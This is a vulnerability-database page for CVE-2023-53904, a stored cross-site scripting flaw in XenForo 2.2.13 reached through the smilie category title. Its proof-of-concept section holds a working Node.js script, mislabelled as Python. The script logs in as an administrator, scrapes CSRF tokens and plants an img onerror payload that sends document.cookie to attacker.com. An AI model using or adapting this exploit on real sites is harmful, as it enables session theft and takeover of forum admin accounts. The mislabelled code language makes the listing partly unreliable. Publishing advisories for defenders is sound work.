CVE-2023-53904

Description

Xenforo 2.2.13 contains a stored cross-site scripting vulnerability that allows authenticated administrators to inject malicious scripts through the smilie category title parameter. Attackers can create a smilie category with a malicious script that will execute when the admin panel is loaded, potentially enabling further client-side attacks.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

XenForo < 2.2.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2023-53904 PoC - XenForo Stored XSS via Smilie Category Title
// Target: XenForo <= 2.2.13
// Authentication: Administrator required

const axios = require('axios');
const cheerio = require('cheerio');

async function exploit(targetUrl, username, password) {
  const session = axios.create({ baseURL: targetUrl });
  
  // Step 1: Login as administrator
  const loginPage = await session.get('/admin.php?login/');
  const $ = cheerio.load(loginPage.data);
  const csrfToken = $('input[name="_xfToken"]').val();
  
  await session.post('/admin.php?login/login', {
    login: username,
    password: password,
    remember: 1,
    _xfToken: csrfToken
  });
  
  // Step 2: Create malicious smilie category with XSS payload
  const adminIndex = await session.get('/admin.php');
  const $$ = cheerio.load(adminIndex.data);
  const adminCsrf = $$('input[name="_xfToken"]').val();
  
  const xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">';
  
  await session.post('/admin.php?smilies/categories/add', {
    category_title: xssPayload,
    display_order: 1,
    _xfToken: adminCsrf
  });
  
  console.log('XSS payload injected successfully');
  console.log('Admin panel access will trigger the malicious script');
}

exploit('http://target-xenforo.com', 'admin', 'password');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53904
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53904
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53904/
[4] VulDB https://vuldb.com/cve/CVE-2023-53904
[5] https://www.exploit-db.com/exploits/51547
[6] https://www.vulncheck.com/advisories/xenforo-authenticated-stored-cross-site-scripting-via-smilie-categories
[7] https://xenforo.com/

Raw JSON Data

JSON

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